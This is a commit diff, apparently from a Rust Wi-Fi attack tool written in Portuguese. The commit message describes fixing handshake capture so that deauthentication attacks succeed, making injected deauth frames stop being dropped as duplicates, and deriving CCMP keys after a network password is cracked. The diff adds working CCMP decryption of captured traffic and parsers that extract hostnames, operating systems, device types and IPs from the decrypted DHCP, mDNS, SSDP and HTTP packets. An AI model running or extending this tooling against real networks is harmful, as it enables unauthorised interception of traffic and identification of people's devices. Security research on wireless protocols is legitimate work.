fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11
- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são big-endian (802.1X segue ordem de rede), então handshakes reais nunca fechavam mesmo com deauth funcionando. testutil.rs e os geradores de quadro de teste corrigidos junto, mais um teste contra bytes de wire reais (não só contra o próprio encoder). - inject.rs: deauth/disassoc agora grava Sequence Control crescente por quadro — reenviar o mesmo quadro era descartado como duplicata pelo driver/AP depois do primeiro envio. - dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda, padrão PHY, privacidade) e histórico de sinal/eventos por cliente. - handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é quebrada, o suficiente pra decifrar o tráfego em claro do par (BSSID, estação) cujo handshake foi capturado.
This commit is contained in:
1 parent
dab86d1fa7
commit
5477b8fb03
10 files changed
+2523
-19
No files matched your search
@@ -0,0 +1,173 @@
|
||||
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
|
||||
//! de um handshake quebrado.
|
||||
//!
|
||||
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
|
||||
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
|
||||
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
|
||||
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
|
||||
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
|
||||
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
|
||||
//! abre o tráfego de quem a gente não viu entrar.
|
||||
//!
|
||||
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
|
||||
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
|
||||
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
|
||||
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
|
||||
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
|
||||
//! sem ganho prático pro que isso serve aqui.
|
||||
|
||||
use aes::cipher::{BlockEncrypt, KeyInit};
|
||||
use aes::Aes128;
|
||||
|
||||
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
|
||||
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
|
||||
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
|
||||
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
|
||||
///
|
||||
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
|
||||
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
|
||||
pub fn decrypt_data(
|
||||
tk: &[u8; 16],
|
||||
transmitter: &[u8; 6],
|
||||
qos_tid: u8,
|
||||
body: &[u8],
|
||||
) -> Option<Vec<u8>> {
|
||||
const HEADER_LEN: usize = 8;
|
||||
const MIC_LEN: usize = 8;
|
||||
if body.len() < HEADER_LEN + MIC_LEN {
|
||||
return None;
|
||||
}
|
||||
let pn0 = body[0];
|
||||
let pn1 = body[1];
|
||||
let key_id_octet = body[3];
|
||||
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
|
||||
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
|
||||
if key_id_octet & 0x20 == 0 {
|
||||
return None;
|
||||
}
|
||||
let pn2 = body[4];
|
||||
let pn3 = body[5];
|
||||
let pn4 = body[6];
|
||||
let pn5 = body[7];
|
||||
|
||||
let ciphertext_and_mic = &body[HEADER_LEN..];
|
||||
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
|
||||
|
||||
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
|
||||
// mais significativo (PN5) ao menos significativo (PN0).
|
||||
let mut nonce = [0u8; 13];
|
||||
nonce[0] = qos_tid & 0x0f;
|
||||
nonce[1..7].copy_from_slice(transmitter);
|
||||
nonce[7] = pn5;
|
||||
nonce[8] = pn4;
|
||||
nonce[9] = pn3;
|
||||
nonce[10] = pn2;
|
||||
nonce[11] = pn1;
|
||||
nonce[12] = pn0;
|
||||
|
||||
let cipher = Aes128::new(tk.into());
|
||||
let mut out = Vec::with_capacity(ciphertext.len());
|
||||
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
|
||||
for chunk in ciphertext.chunks(16) {
|
||||
let mut block = [0u8; 16];
|
||||
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
|
||||
block[1..14].copy_from_slice(&nonce);
|
||||
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||
let mut keystream = block.into();
|
||||
cipher.encrypt_block(&mut keystream);
|
||||
for (c, k) in chunk.iter().zip(keystream.iter()) {
|
||||
out.push(c ^ k);
|
||||
}
|
||||
counter = counter.wrapping_add(1);
|
||||
}
|
||||
Some(out)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
|
||||
/// que a cifra de bloco usada embaixo está correta antes de confiar no
|
||||
/// contador CTR por cima dela.
|
||||
#[test]
|
||||
fn aes128_matches_fips197_vector() {
|
||||
let key: [u8; 16] = [
|
||||
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
|
||||
0x0e, 0x0f,
|
||||
];
|
||||
let plaintext: [u8; 16] = [
|
||||
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
|
||||
0xee, 0xff,
|
||||
];
|
||||
let expected: [u8; 16] = [
|
||||
0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
|
||||
0xc5, 0x5a,
|
||||
];
|
||||
let cipher = Aes128::new(&key.into());
|
||||
let mut block = plaintext.into();
|
||||
cipher.encrypt_block(&mut block);
|
||||
assert_eq!(block.as_slice(), &expected);
|
||||
}
|
||||
|
||||
/// Round-trip de auto-consistência: decifrar um texto que a própria
|
||||
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
|
||||
/// simétrico) tem que devolver o original. Isso pega bug de indexação
|
||||
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
|
||||
#[test]
|
||||
fn ctr_round_trip_recovers_plaintext() {
|
||||
let tk = [0x42u8; 16];
|
||||
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
|
||||
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
|
||||
|
||||
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
|
||||
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
|
||||
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
|
||||
let mut nonce = [0u8; 13];
|
||||
nonce[0] = 3; // TID
|
||||
nonce[1..7].copy_from_slice(&transmitter);
|
||||
nonce[7] = header[7];
|
||||
nonce[8] = header[6];
|
||||
nonce[9] = header[5];
|
||||
nonce[10] = header[4];
|
||||
nonce[11] = header[1];
|
||||
nonce[12] = header[0];
|
||||
let cipher = Aes128::new(&tk.into());
|
||||
let mut ciphertext = Vec::with_capacity(plaintext.len());
|
||||
let mut counter: u16 = 1;
|
||||
for chunk in plaintext.chunks(16) {
|
||||
let mut block = [0u8; 16];
|
||||
block[0] = 0x01;
|
||||
block[1..14].copy_from_slice(&nonce);
|
||||
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||
let mut keystream = block.into();
|
||||
cipher.encrypt_block(&mut keystream);
|
||||
for (p, k) in chunk.iter().zip(keystream.iter()) {
|
||||
ciphertext.push(p ^ k);
|
||||
}
|
||||
counter = counter.wrapping_add(1);
|
||||
}
|
||||
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&header);
|
||||
body.extend_from_slice(&ciphertext);
|
||||
|
||||
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
|
||||
assert_eq!(out, plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_body_without_extiv_bit() {
|
||||
let tk = [0u8; 16];
|
||||
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
|
||||
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_body_too_short() {
|
||||
let tk = [0u8; 16];
|
||||
let body = [0u8; 10];
|
||||
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||
}
|
||||
}
|
||||
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
|
||||
pub akm: Vec<String>,
|
||||
pub wps: bool,
|
||||
pub pmf: bool,
|
||||
pub pmf_required: bool,
|
||||
pub country: Option<String>,
|
||||
pub beacon_interval: Option<u16>,
|
||||
pub privacy: bool,
|
||||
pub phy: Vec<String>,
|
||||
pub width_mhz: Option<u16>,
|
||||
pub wps_locked: Option<bool>,
|
||||
pub wps_version: Option<String>,
|
||||
pub wps_manufacturer: Option<String>,
|
||||
pub wps_model: Option<String>,
|
||||
pub wps_model_number: Option<String>,
|
||||
pub wps_device_name: Option<String>,
|
||||
pub wps_serial: Option<String>,
|
||||
}
|
||||
|
||||
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
|
||||
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
|
||||
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct PayloadInfo {
|
||||
pub ip: Option<String>,
|
||||
pub hostname: Option<String>,
|
||||
pub os: Option<String>,
|
||||
pub device: Option<String>,
|
||||
pub manufacturer: Option<String>,
|
||||
pub model: Option<String>,
|
||||
pub service: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default)]
|
||||
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
|
||||
let mut wpa1_present = false;
|
||||
let mut rsn = RsnInfo::default();
|
||||
|
||||
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
|
||||
&& self.body.len() >= 24 + 12
|
||||
{
|
||||
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
|
||||
}
|
||||
info.privacy = privacy;
|
||||
|
||||
let mut i = 0usize;
|
||||
while i + 2 <= ies.len() {
|
||||
let tag = ies[i];
|
||||
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
|
||||
7 if len >= 2 => {
|
||||
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
|
||||
}
|
||||
45 => {
|
||||
add_phy(&mut info.phy, "n");
|
||||
if info.width_mhz.is_none() {
|
||||
info.width_mhz = Some(20);
|
||||
}
|
||||
}
|
||||
48 => {
|
||||
rsn_present = true;
|
||||
if let Some(parsed) = parse_rsn(val) {
|
||||
rsn = parsed;
|
||||
}
|
||||
}
|
||||
61 if len >= 2 => {
|
||||
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
|
||||
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
|
||||
}
|
||||
}
|
||||
191 => add_phy(&mut info.phy, "ac"),
|
||||
192 if !val.is_empty() => {
|
||||
add_phy(&mut info.phy, "ac");
|
||||
info.width_mhz = Some(match val[0] {
|
||||
1 => 80,
|
||||
2 => 160,
|
||||
3 => 80,
|
||||
_ => info.width_mhz.unwrap_or(20),
|
||||
});
|
||||
}
|
||||
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
|
||||
1 => wpa1_present = true,
|
||||
4 => info.wps = true,
|
||||
4 => {
|
||||
info.wps = true;
|
||||
parse_wps(val, &mut info);
|
||||
}
|
||||
_ => {}
|
||||
},
|
||||
255 if !val.is_empty() => match val[0] {
|
||||
35 | 36 => add_phy(&mut info.phy, "ax"),
|
||||
106 | 108 => add_phy(&mut info.phy, "be"),
|
||||
_ => {}
|
||||
},
|
||||
_ => {}
|
||||
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
|
||||
}
|
||||
|
||||
info.pmf = rsn.caps & 0x00c0 != 0;
|
||||
info.pmf_required = rsn.caps & 0x0040 != 0;
|
||||
if rsn_present {
|
||||
info.cipher = rsn.cipher.map(|c| c.label().to_string());
|
||||
info.akm = rsn.akm.labels();
|
||||
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
|
||||
let end = (start + 4 + len).min(self.body.len());
|
||||
self.body.get(start..end)
|
||||
}
|
||||
|
||||
/// Tenta identificar a estação por payload não criptografado. Só olha
|
||||
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
|
||||
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
|
||||
/// + [`payload_info_from_llc`]).
|
||||
pub fn payload_info(&self) -> PayloadInfo {
|
||||
if self.protected || !self.kind.is_data() {
|
||||
return PayloadInfo::default();
|
||||
}
|
||||
let Some(payload) = self.body.get(self.header_len..) else {
|
||||
return PayloadInfo::default();
|
||||
};
|
||||
payload_info_from_llc(payload)
|
||||
}
|
||||
|
||||
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
|
||||
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
|
||||
pub fn qos_tid(&self) -> Option<u8> {
|
||||
if !self.kind.is_data() {
|
||||
return None;
|
||||
}
|
||||
let subtype = (self.fc >> 4) & 0b1111;
|
||||
if subtype & 0x8 == 0 {
|
||||
return None;
|
||||
}
|
||||
let mut offset = 24;
|
||||
if self.to_ds && self.from_ds {
|
||||
offset += 6;
|
||||
}
|
||||
self.body.get(offset).map(|b| b & 0x0f)
|
||||
}
|
||||
|
||||
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
|
||||
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
|
||||
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
|
||||
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
|
||||
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
|
||||
if !self.protected || !self.kind.is_data() {
|
||||
return None;
|
||||
}
|
||||
let transmitter = self.addr2?;
|
||||
let tid = self.qos_tid().unwrap_or(0);
|
||||
let body = self.body.get(self.header_len..)?;
|
||||
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
|
||||
}
|
||||
}
|
||||
|
||||
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
|
||||
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
|
||||
/// com a TK conhecida.
|
||||
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
|
||||
let mut info = PayloadInfo::default();
|
||||
let Some(llc) = payload.get(..8) else {
|
||||
return info;
|
||||
};
|
||||
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
|
||||
return info;
|
||||
}
|
||||
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
|
||||
let Some(rest) = payload.get(8..) else {
|
||||
return info;
|
||||
};
|
||||
match ethertype {
|
||||
0x0806 => parse_arp(rest, &mut info),
|
||||
0x0800 => parse_ipv4(rest, &mut info),
|
||||
_ => {}
|
||||
}
|
||||
info
|
||||
}
|
||||
|
||||
fn ipv4_string(bytes: &[u8]) -> Option<String> {
|
||||
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
|
||||
}
|
||||
|
||||
fn private_ip(ip: &str) -> bool {
|
||||
let mut parts = ip.split('.');
|
||||
let (Some(a), Some(b)) = (
|
||||
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||
parts.next().and_then(|p| p.parse::<u8>().ok()),
|
||||
) else {
|
||||
return false;
|
||||
};
|
||||
a == 10
|
||||
|| (a == 172 && (16..=31).contains(&b))
|
||||
|| (a == 192 && b == 168)
|
||||
|| (a == 169 && b == 254)
|
||||
|| (a == 100 && (64..=127).contains(&b))
|
||||
}
|
||||
|
||||
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
|
||||
if payload.len() < 28
|
||||
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|
||||
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|
||||
|| payload[4] != 6
|
||||
|| payload[5] != 4
|
||||
{
|
||||
return;
|
||||
}
|
||||
if let Some(ip) = ipv4_string(&payload[14..18]) {
|
||||
if ip != "0.0.0.0" {
|
||||
info.ip = Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
|
||||
if payload.len() < 20 || payload[0] >> 4 != 4 {
|
||||
return;
|
||||
}
|
||||
let ihl = ((payload[0] & 0x0f) as usize) * 4;
|
||||
if ihl < 20 || payload.len() < ihl {
|
||||
return;
|
||||
}
|
||||
let protocol = payload[9];
|
||||
let src = ipv4_string(&payload[12..16]);
|
||||
let dst = ipv4_string(&payload[16..20]);
|
||||
if let Some(ip) = &src {
|
||||
if private_ip(ip) {
|
||||
info.ip = Some(ip.clone());
|
||||
}
|
||||
}
|
||||
|
||||
match protocol {
|
||||
17 => {
|
||||
let udp = &payload[ihl..];
|
||||
if udp.len() < 8 {
|
||||
return;
|
||||
}
|
||||
let sport = u16::from_be_bytes([udp[0], udp[1]]);
|
||||
let dport = u16::from_be_bytes([udp[2], udp[3]]);
|
||||
let data = &udp[8..];
|
||||
if sport == 68 || dport == 67 {
|
||||
parse_dhcp(data, info);
|
||||
} else if sport == 5353 || dport == 5353 {
|
||||
parse_dns(data, info, true);
|
||||
} else if sport == 53 || dport == 53 {
|
||||
parse_dns(data, info, false);
|
||||
} else if sport == 1900 || dport == 1900 {
|
||||
parse_ssdp(data, info);
|
||||
} else if let Some(ip) = &dst {
|
||||
if info.ip.is_none() && private_ip(ip) {
|
||||
info.ip = Some(ip.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
6 => {
|
||||
let tcp = &payload[ihl..];
|
||||
if tcp.len() < 20 {
|
||||
return;
|
||||
}
|
||||
let data_offset = ((tcp[12] >> 4) as usize) * 4;
|
||||
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
|
||||
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
|
||||
if data_offset >= 20 && tcp.len() > data_offset {
|
||||
let data = &tcp[data_offset..];
|
||||
if matches!(sport, 80 | 8080 | 8000 | 8888)
|
||||
|| matches!(dport, 80 | 8080 | 8000 | 8888)
|
||||
{
|
||||
parse_http(data, info);
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
|
||||
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
|
||||
return;
|
||||
}
|
||||
let mut requested_ip = None;
|
||||
let mut message_type = None;
|
||||
let mut pos = 240usize;
|
||||
while pos < data.len() {
|
||||
let code = data[pos];
|
||||
if code == 255 {
|
||||
break;
|
||||
}
|
||||
if code == 0 {
|
||||
pos += 1;
|
||||
continue;
|
||||
}
|
||||
if pos + 1 >= data.len() {
|
||||
break;
|
||||
}
|
||||
let len = data[pos + 1] as usize;
|
||||
let start = pos + 2;
|
||||
if start + len > data.len() {
|
||||
break;
|
||||
}
|
||||
let val = &data[start..start + len];
|
||||
match code {
|
||||
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
|
||||
50 if len >= 4 => requested_ip = ipv4_string(val),
|
||||
53 if len == 1 => message_type = Some(val[0]),
|
||||
60 => {
|
||||
let vendor = String::from_utf8_lossy(val).trim().to_string();
|
||||
if let Some(os) = os_from_text(&vendor) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
if let Some(device) = device_from_text(&vendor) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
}
|
||||
81 => {
|
||||
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
|
||||
if !name.is_empty() {
|
||||
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
pos = start + len;
|
||||
}
|
||||
if message_type == Some(3) {
|
||||
if let Some(ip) = requested_ip {
|
||||
if ip != "0.0.0.0" {
|
||||
info.ip = Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
if info.hostname.as_deref() == Some("") {
|
||||
info.hostname = None;
|
||||
}
|
||||
if let Some(hostname) = info.hostname.as_deref() {
|
||||
if info.device.is_none() {
|
||||
info.device = device_from_text(hostname);
|
||||
}
|
||||
if info.os.is_none() {
|
||||
info.os = os_from_text(hostname);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
|
||||
let mut labels = Vec::new();
|
||||
let mut jumps = 0usize;
|
||||
let mut end = pos;
|
||||
let mut jumped = false;
|
||||
while pos < data.len() && jumps < 16 {
|
||||
let len = data[pos];
|
||||
if len == 0 {
|
||||
if !jumped {
|
||||
end = pos + 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if len & 0xc0 == 0xc0 {
|
||||
if pos + 1 >= data.len() {
|
||||
return None;
|
||||
}
|
||||
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
|
||||
if !jumped {
|
||||
end = pos + 2;
|
||||
}
|
||||
pos = ptr;
|
||||
jumps += 1;
|
||||
jumped = true;
|
||||
continue;
|
||||
}
|
||||
let len = len as usize;
|
||||
if pos + 1 + len > data.len() {
|
||||
return None;
|
||||
}
|
||||
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
|
||||
pos += 1 + len;
|
||||
if !jumped {
|
||||
end = pos;
|
||||
}
|
||||
}
|
||||
if labels.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some((labels.join("."), end))
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
|
||||
if data.len() < 12 {
|
||||
return;
|
||||
}
|
||||
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
|
||||
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
|
||||
let mut pos = 12usize;
|
||||
for _ in 0..qd {
|
||||
let Some((name, next)) = dns_name(data, pos) else {
|
||||
return;
|
||||
};
|
||||
pos = next + 4;
|
||||
apply_dns_name(&name, info, mdns);
|
||||
}
|
||||
for _ in 0..an.min(24) {
|
||||
let Some((name, next)) = dns_name(data, pos) else {
|
||||
return;
|
||||
};
|
||||
if next + 10 > data.len() {
|
||||
return;
|
||||
}
|
||||
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
|
||||
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
|
||||
let rdata = next + 10;
|
||||
if rdata + rdlen > data.len() {
|
||||
return;
|
||||
}
|
||||
if kind == 1 && rdlen == 4 {
|
||||
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
|
||||
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
|
||||
info.ip = Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
if kind == 16 {
|
||||
parse_txt(&data[rdata..rdata + rdlen], info);
|
||||
}
|
||||
apply_dns_name(&name, info, mdns);
|
||||
pos = rdata + rdlen;
|
||||
}
|
||||
if let Some(ip) = &info.ip {
|
||||
if !private_ip(ip) {
|
||||
info.ip = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
|
||||
let lower = name.to_ascii_lowercase();
|
||||
if let Some(service) = lower.strip_prefix('_') {
|
||||
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
|
||||
if let Some(device) = device_from_service(&lower) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if mdns && lower.ends_with(".local") {
|
||||
let host = name.split('.').next().unwrap_or(name);
|
||||
if !host.is_empty() {
|
||||
info.hostname = Some(host.to_string());
|
||||
if let Some(device) = device_from_text(host) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
if let Some(os) = os_from_text(host) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
|
||||
let mut pos = 0usize;
|
||||
while pos < data.len() {
|
||||
let len = data[pos] as usize;
|
||||
pos += 1;
|
||||
if pos + len > data.len() {
|
||||
break;
|
||||
}
|
||||
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
|
||||
pos += len;
|
||||
let mut parts = txt.splitn(2, '=');
|
||||
let key = parts.next().unwrap_or("").to_ascii_lowercase();
|
||||
let value = parts.next().unwrap_or("");
|
||||
match key.as_str() {
|
||||
"model" | "md" => info.model = Some(value.to_string()),
|
||||
"os" => info.os = Some(value.to_string()),
|
||||
"device" | "product" => info.device = Some(value.to_string()),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
|
||||
let text = String::from_utf8_lossy(data);
|
||||
for line in text.lines() {
|
||||
let Some((key, value)) = line.split_once(':') else {
|
||||
continue;
|
||||
};
|
||||
let key = key.trim().to_ascii_uppercase();
|
||||
let value = value.trim();
|
||||
match key.as_str() {
|
||||
"SERVER" | "USER-AGENT" => {
|
||||
if let Some(os) = os_from_text(value) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
if let Some(device) = device_from_text(value) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
if let Some(manufacturer) = manufacturer_from_text(value) {
|
||||
info.manufacturer = Some(manufacturer);
|
||||
}
|
||||
info.model = info.model.take().or_else(|| {
|
||||
value
|
||||
.split_whitespace()
|
||||
.find(|part| part.contains('/') && !part.contains("UPnP"))
|
||||
.map(str::to_string)
|
||||
});
|
||||
}
|
||||
"ST" | "NT" => {
|
||||
let lower = value.to_ascii_lowercase();
|
||||
if let Some(device) = device_from_service(&lower) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
info.service = info
|
||||
.service
|
||||
.take()
|
||||
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
|
||||
let text = String::from_utf8_lossy(data);
|
||||
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
|
||||
return;
|
||||
}
|
||||
for line in text.lines().take(64) {
|
||||
let Some((key, value)) = line.split_once(':') else {
|
||||
continue;
|
||||
};
|
||||
let key = key.trim().to_ascii_lowercase();
|
||||
let value = value.trim();
|
||||
match key.as_str() {
|
||||
"user-agent" | "server" => {
|
||||
if let Some(os) = os_from_text(value) {
|
||||
info.os = Some(os);
|
||||
}
|
||||
if let Some(device) = device_from_text(value) {
|
||||
info.device = Some(device);
|
||||
}
|
||||
}
|
||||
"host" if info.hostname.is_none() => {
|
||||
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn os_from_text(text: &str) -> Option<String> {
|
||||
let s = text.to_ascii_lowercase();
|
||||
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
|
||||
{
|
||||
"Windows 10/11"
|
||||
} else if s.contains("windows") || s.contains("microsoft") {
|
||||
"Windows"
|
||||
} else if s.contains("ipados") || s.contains("ipad") {
|
||||
"iPadOS"
|
||||
} else if s.contains("iphone")
|
||||
|| s.contains("ios")
|
||||
|| s.contains("darwin") && s.contains("mobile")
|
||||
{
|
||||
"iOS"
|
||||
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
|
||||
"macOS"
|
||||
} else if s.contains("android") {
|
||||
"Android"
|
||||
} else if s.contains("cros") || s.contains("chromeos") {
|
||||
"ChromeOS"
|
||||
} else if s.contains("tizen") {
|
||||
"Tizen"
|
||||
} else if s.contains("webos") {
|
||||
"webOS"
|
||||
} else if s.contains("roku") {
|
||||
"Roku OS"
|
||||
} else if s.contains("linux")
|
||||
|| s.contains("ubuntu")
|
||||
|| s.contains("debian")
|
||||
|| s.contains("raspbian")
|
||||
{
|
||||
"Linux"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(os.to_string())
|
||||
}
|
||||
|
||||
pub(crate) fn device_from_text(text: &str) -> Option<String> {
|
||||
let s = text.to_ascii_lowercase();
|
||||
let device = if s.contains("iphone")
|
||||
|| s.contains("galaxy")
|
||||
|| s.contains("pixel")
|
||||
|| s.contains("redmi")
|
||||
|| s.contains("smartphone")
|
||||
|| s.contains("phone")
|
||||
|| s.contains("moto ")
|
||||
{
|
||||
"smartphone"
|
||||
} else if s.contains("ipad") || s.contains("tablet") {
|
||||
"tablet"
|
||||
} else if s.contains("macbook")
|
||||
|| s.contains("thinkpad")
|
||||
|| s.contains("laptop")
|
||||
|| s.contains("notebook")
|
||||
{
|
||||
"laptop"
|
||||
} else if s.contains("printer")
|
||||
|| s.contains("laserjet")
|
||||
|| s.contains("officejet")
|
||||
|| s.contains("mfc-")
|
